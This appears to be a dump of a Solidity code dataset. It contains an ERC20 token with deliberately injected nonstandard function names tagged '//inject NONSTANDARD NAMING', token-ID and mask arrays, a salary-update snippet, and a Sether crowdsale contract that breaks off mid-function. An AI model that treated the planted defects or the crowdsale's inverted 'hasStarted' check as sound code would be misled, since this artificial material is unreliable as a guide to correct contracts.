this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
interface IERC20 {
function TOTALSUPPLY18() external view returns (uint256); //inject NONSTANDARD NAMING
function BALANCEOF19(address account) external view returns (uint256); //inject NONSTANDARD NAMING
function TRANSFER188(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function ALLOWANCE990(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING
function APPROVE569(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
function TRANSFERFROM677(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING
event TRANSFER36(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING
event APPROVAL777(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING
}
library SafeMath {
function ADD452(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function SUB908(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return SUB908(a, b, "SafeMath: subtraction overflow");
}
function SUB908(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function MUL764(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function DIV702(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return DIV702(a, b, "SafeMath: division by zero");
}
function DIV702(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function MOD170(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING
return MOD170(a, b, "SafeMath: modulo by zero");
}
function MOD170(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function ISCONTRACT666(address account) internal view returns (bool) { //inject NONSTANDARD NAMING
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function SENDVALUE670(address payable recipient, uint256 amount) internal { //inject NONSTANDARD NAMING
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function FUNCTIONCALL237(address target, bytes memory data) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALL237(target, data, "Address: low-level call failed");
}
function FUNCTIONCALL237(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return _FUNCTIONCALLWITHVALUE645(target, data, 0, errorMessage);
}
function FUNCTIONCALLWITHVALUE846(address target, bytes memory data, uint256 value) internal returns (bytes memory) { //inject NONSTANDARD NAMING
return FUNCTIONCALLWITHVALUE846(target, data, value, "Address: low-level call with value failed");
}
function FUNCTIONCALLWITHVALUE846(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { //inject NONSTANDARD NAMING
require(address(this).balance >= value, "Address: insufficient balance for call");
return _FUNCTIONCALLWITHVALUE645(target, data, value, errorMessage);
}
function _FUNCTIONCALLWITHVALUE645(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { //inject NONSTANDARD NAMING
require(ISCONTRACT666(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol) public {
_name = name;
_symbol = symbol;
_decimals = 18;
}
function NAME463() public view returns (string memory) { //inject NONSTANDARD NAMING
return _name;
}
function SYMBOL625() public view returns (string memory) { //inject NONSTANDARD NAMING
return _symbol;
}
function DECIMALS746() public view returns (uint8) { //inject NONSTANDARD NAMING
return _decimals;
}
function TOTALSUPPLY18() public view override returns (uint256) { //inject NONSTANDARD NAMING
return _totalSupply;
}
function BALANCEOF19(address account) public view override returns (uint256) { //inject NONSTANDARD NAMING
return _balances[account];
}
function TRANSFER188(address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER546(_MSGSENDER800(), recipient, amount);
return true;
}
function ALLOWANCE990(address owner, address spender) public view virtual override returns (uint256) { //inject NONSTANDARD NAMING
return _allowances[owner][spender];
}
function APPROVE569(address spender, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_APPROVE756(_MSGSENDER800(), spender, amount);
return true;
}
function TRANSFERFROM677(address sender, address recipient, uint256 amount) public virtual override returns (bool) { //inject NONSTANDARD NAMING
_TRANSFER546(sender, recipient, amount);
_APPROVE756(sender, _MSGSENDER800(), _allowances[sender][_MSGSENDER800()].SUB908(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function INCREASEALLOWANCE156(address spender, uint256 addedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE756(_MSGSENDER800(), spender, _allowances[_MSGSENDER800()][spender].ADD452(addedValue));
return true;
}
function DECREASEALLOWANCE599(address spender, uint256 subtractedValue) public virtual returns (bool) { //inject NONSTANDARD NAMING
_APPROVE756(_MSGSENDER800(), spender, _allowances[_MSGSENDER800()][spender].SUB908(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _TRANSFER546(address sender, address recipient, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_BEFORETOKENTRANSFER598(sender, recipient, amount);
_balances[sender] = _balances[sender].SUB908(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].ADD452(amount);
emit TRANSFER36(sender, recipient, amount);
}
function _MINT47(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: mint to the zero address");
_BEFORETOKENTRANSFER598(address(0), account, amount);
_totalSupply = _totalSupply.ADD452(amount);
_balances[account] = _balances[account].ADD452(amount);
emit TRANSFER36(address(0), account, amount);
}
function _BURN695(address account, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(account != address(0), "ERC20: burn from the zero address");
_BEFORETOKENTRANSFER598(account, address(0), amount);
_balances[account] = _balances[account].SUB908(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.SUB908(amount);
emit TRANSFER36(account, address(0), amount);
}
function _APPROVE756(address owner, address spender, uint256 amount) internal virtual { //inject NONSTANDARD NAMING
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit APPROVAL777(owner, spender, amount);
}
function _SETUPDECIMALS343(uint8 decimals_) internal { //inject NONSTANDARD NAMING
_decimals = decimals_;
}
function _BEFORETOKENTRANSFER598(address from, address to, uint256 amount) internal virtual { } //inject NONSTANDARD NAMING
}
contract ERAF is ERC20 {
constructor ()
ERC20('ERAF Finance', 'ERAF')
public
{
_MINT47(0x5a77bD42971B3399d5f2eaE6505bb36EA6a359F3, 12000 * 10 ** uint(DECIMALS746()));
}
} | inject NONSTANDARD NAMING
| function ALLOWANCE990(address owner, address spender) external view returns (uint256); | 1,825,747 | [
1,
22170,
18708,
882,
18264,
423,
2192,
1360,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
18592,
4722,
2733,
20,
12,
2867,
3410,
16,
1758,
17571,
264,
13,
3903,
1476,
1135,
261,
11890,
5034,
1769,
202,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0x0996A41Eb04e33BBd0048350e6c5e4103a4aec8d/sources/contracts/Company.sol | Update the Employee salary. | function updateEmployeeSalary(address _employeeAddress ,uint256 _newSalary) public onlyOwner {
_employees[_employeeAddress].salary = _newSalary;
_employees[_employeeAddress].balance = 0;
}
| 862,575 | [
1,
1891,
326,
512,
27520,
12814,
814,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
1089,
41,
27520,
55,
287,
814,
12,
2867,
389,
351,
2817,
1340,
1887,
269,
11890,
5034,
389,
2704,
55,
287,
814,
13,
1071,
1338,
5541,
288,
203,
3639,
389,
351,
2817,
25521,
63,
67,
351,
2817,
1340,
1887,
8009,
21982,
814,
273,
389,
2704,
55,
287,
814,
31,
203,
3639,
389,
351,
2817,
25521,
63,
67,
351,
2817,
1340,
1887,
8009,
12296,
273,
374,
31,
203,
565,
289,
203,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
pragma solidity ^0.4.11;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) onlyOwner public {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
uint256 _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
Transfer(0x0, _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner public returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
/**
* @title SetherToken
* @dev Sether ERC20 Token that can be minted.
* It is meant to be used in sether crowdsale contract.
*/
contract SetherToken is MintableToken {
string public constant name = "Sether";
string public constant symbol = "SETH";
uint8 public constant decimals = 18;
function getTotalSupply() public returns (uint256) {
return totalSupply;
}
}
/**
* @title SetherBaseCrowdsale
* @dev SetherBaseCrowdsale is a base contract for managing a sether token crowdsale.
*/
contract SetherBaseCrowdsale {
using SafeMath for uint256;
// The token being sold
SetherToken public token;
// start and end timestamps where investments are allowed (both inclusive)
uint256 public startTime;
uint256 public endTime;
// address where funds are collected
address public wallet;
// how many finney per token
uint256 public rate;
// amount of raised money in wei
uint256 public weiRaised;
/**
* event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event SethTokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function SetherBaseCrowdsale(uint256 _rate, address _wallet) {
require(_rate > 0);
require(_wallet != address(0));
token = createTokenContract();
rate = _rate;
wallet = _wallet;
}
// fallback function can be used to buy tokens
function () payable {
buyTokens(msg.sender);
}
// low level token purchase function
function buyTokens(address beneficiary) public payable {
require(beneficiary != address(0));
require(validPurchase());
uint256 weiAmount = msg.value;
// calculate token amount to be created
uint256 tokens = computeTokens(weiAmount);
require(isWithinTokenAllocLimit(tokens));
// update state
weiRaised = weiRaised.add(weiAmount);
token.mint(beneficiary, tokens);
SethTokenPurchase(msg.sender, beneficiary, weiAmount, tokens);
forwardFunds();
}
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
return now > endTime;
}
// @return true if crowdsale event has started
function hasStarted() public constant returns (bool) {
return now < startTime;
}
// send ether to the fund collection wallet
function forwardFunds() internal {
wallet.transfer(msg.value);
}
// @return true if the transaction can buy tokens
function validPurchase() internal constant returns (bool) {
bool withinPeriod = now >= startTime && now <= endTime;
bool nonZeroPurchase = msg.value != 0;
return withinPeriod && nonZeroPurchase;
}
//Override this method with token distribution strategy
function computeTokens(uint256 weiAmount) internal returns (uint256) {
//To be overriden
}
//Override this method with token limitation strategy
function isWithinTokenAllocLimit(uint256 _tokens) internal returns (bool) {
//To be overriden
}
// creates the token to be sold.
function createTokenContract() internal returns (SetherToken) {
return new SetherToken();
}
}
/**
* @title SetherMultiStepCrowdsale
* @dev Multi-step payment policy contract that extends SetherBaseCrowdsale
*/
contract SetherMultiStepCrowdsale is SetherBaseCrowdsale {
uint256 public constant PRESALE_LIMIT = 25 * (10 ** 6) * (10 ** 18);
uint256 public constant CROWDSALE_LIMIT = 55 * (10 ** 6) * (10 ** 18);
uint256 public constant PRESALE_BONUS_LIMIT = 1 * (10 ** 17);
// Presale period (includes holidays)
uint public constant PRESALE_PERIOD = 53 days;
// Crowdsale first week period (constants for proper testing)
uint public constant CROWD_WEEK1_PERIOD = 7 days;
// Crowdsale second week period
uint public constant CROWD_WEEK2_PERIOD = 7 days;
//Crowdsale third week period
uint public constant CROWD_WEEK3_PERIOD = 7 days;
//Crowdsale last week period
uint public constant CROWD_WEEK4_PERIOD = 7 days;
uint public constant PRESALE_BONUS = 40;
uint public constant CROWD_WEEK1_BONUS = 25;
uint public constant CROWD_WEEK2_BONUS = 20;
uint public constant CROWD_WEEK3_BONUS = 10;
uint256 public limitDatePresale;
uint256 public limitDateCrowdWeek1;
uint256 public limitDateCrowdWeek2;
uint256 public limitDateCrowdWeek3;
function SetherMultiStepCrowdsale() {
}
function isWithinPresaleTimeLimit() internal returns (bool) {
return now <= limitDatePresale;
}
function isWithinCrowdWeek1TimeLimit() internal returns (bool) {
return now <= limitDateCrowdWeek1;
}
function isWithinCrowdWeek2TimeLimit() internal returns (bool) {
return now <= limitDateCrowdWeek2;
}
function isWithinCrowdWeek3TimeLimit() internal returns (bool) {
return now <= limitDateCrowdWeek3;
}
function isWithinCrodwsaleTimeLimit() internal returns (bool) {
return now <= endTime && now > limitDatePresale;
}
function isWithinPresaleLimit(uint256 _tokens) internal returns (bool) {
return token.getTotalSupply().add(_tokens) <= PRESALE_LIMIT;
}
function isWithinCrowdsaleLimit(uint256 _tokens) internal returns (bool) {
return token.getTotalSupply().add(_tokens) <= CROWDSALE_LIMIT;
}
function validPurchase() internal constant returns (bool) {
return super.validPurchase() &&
!(isWithinPresaleTimeLimit() && msg.value < PRESALE_BONUS_LIMIT);
}
function isWithinTokenAllocLimit(uint256 _tokens) internal returns (bool) {
return (isWithinPresaleTimeLimit() && isWithinPresaleLimit(_tokens)) ||
(isWithinCrodwsaleTimeLimit() && isWithinCrowdsaleLimit(_tokens));
}
function computeTokens(uint256 weiAmount) internal returns (uint256) {
uint256 appliedBonus = 0;
if (isWithinPresaleTimeLimit()) {
appliedBonus = PRESALE_BONUS;
} else if (isWithinCrowdWeek1TimeLimit()) {
appliedBonus = CROWD_WEEK1_BONUS;
} else if (isWithinCrowdWeek2TimeLimit()) {
appliedBonus = CROWD_WEEK2_BONUS;
} else if (isWithinCrowdWeek3TimeLimit()) {
appliedBonus = CROWD_WEEK3_BONUS;
}
return weiAmount.mul(10).mul(100 + appliedBonus).div(rate);
}
}
/**
* @title SetherCappedCrowdsale
* @dev Extension of SetherBaseCrowdsale with a max amount of funds raised
*/
contract SetherCappedCrowdsale is SetherMultiStepCrowdsale {
using SafeMath for uint256;
uint256 public constant HARD_CAP = 55 * (10 ** 6) * (10 ** 18);
function SetherCappedCrowdsale() {
}
// overriding SetherBaseCrowdsale#validPurchase to add extra cap logic
// @return true if investors can buy at the moment
function validPurchase() internal constant returns (bool) {
bool withinCap = weiRaised.add(msg.value) <= HARD_CAP;
return super.validPurchase() && withinCap;
}
// overriding Crowdsale#hasEnded to add cap logic
// @return true if crowdsale event has ended
function hasEnded() public constant returns (bool) {
bool capReached = weiRaised >= HARD_CAP;
return super.hasEnded() || capReached;
}
}
/**
* @title SetherStartableCrowdsale
* @dev Extension of SetherBaseCrowdsale where an owner can start the crowdsale
*/
contract SetherStartableCrowdsale is SetherBaseCrowdsale, Ownable {
using SafeMath for uint256;
bool public isStarted = false;
event SetherStarted();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function start() onlyOwner public {
require(!isStarted);
require(!hasStarted());
starting();
SetherStarted();
isStarted = true;
}
/**
* @dev Can be overridden to add start logic. The overriding function
* should call super.starting() to ensure the chain of starting is
* executed entirely.
*/
function starting() internal {
//To be overriden
}
}
/**
* @title SetherFinalizableCrowdsale
* @dev Extension of SetherBaseCrowdsale where an owner can do extra work
* after finishing.
*/
contract SetherFinalizableCrowdsale is SetherBaseCrowdsale, Ownable {
using SafeMath for uint256;
bool public isFinalized = false;
event SetherFinalized();
/**
* @dev Must be called after crowdsale ends, to do some extra finalization
* work. Calls the contract's finalization function.
*/
function finalize() onlyOwner public {
require(!isFinalized);
require(hasEnded());
finalization();
SetherFinalized();
isFinalized = true;
}
/**
* @dev Can be overridden to add finalization logic. The overriding function
* should call super.finalization() to ensure the chain of finalization is
* executed entirely.
*/
function finalization() internal {
//To be overriden
}
}
/**
* @title SetherCrowdsale
* @dev This is Sether's crowdsale contract.
*/
contract SetherCrowdsale is SetherCappedCrowdsale, SetherStartableCrowdsale, SetherFinalizableCrowdsale {
function SetherCrowdsale(uint256 rate, address _wallet)
SetherCappedCrowdsale()
SetherFinalizableCrowdsale()
SetherStartableCrowdsale()
SetherMultiStepCrowdsale()
SetherBaseCrowdsale(rate, _wallet)
{
}
function starting() internal {
super.starting();
startTime = now;
limitDatePresale = startTime + PRESALE_PERIOD;
limitDateCrowdWeek1 = limitDatePresale + CROWD_WEEK1_PERIOD;
limitDateCrowdWeek2 = limitDateCrowdWeek1 + CROWD_WEEK2_PERIOD;
limitDateCrowdWeek3 = limitDateCrowdWeek2 + CROWD_WEEK3_PERIOD;
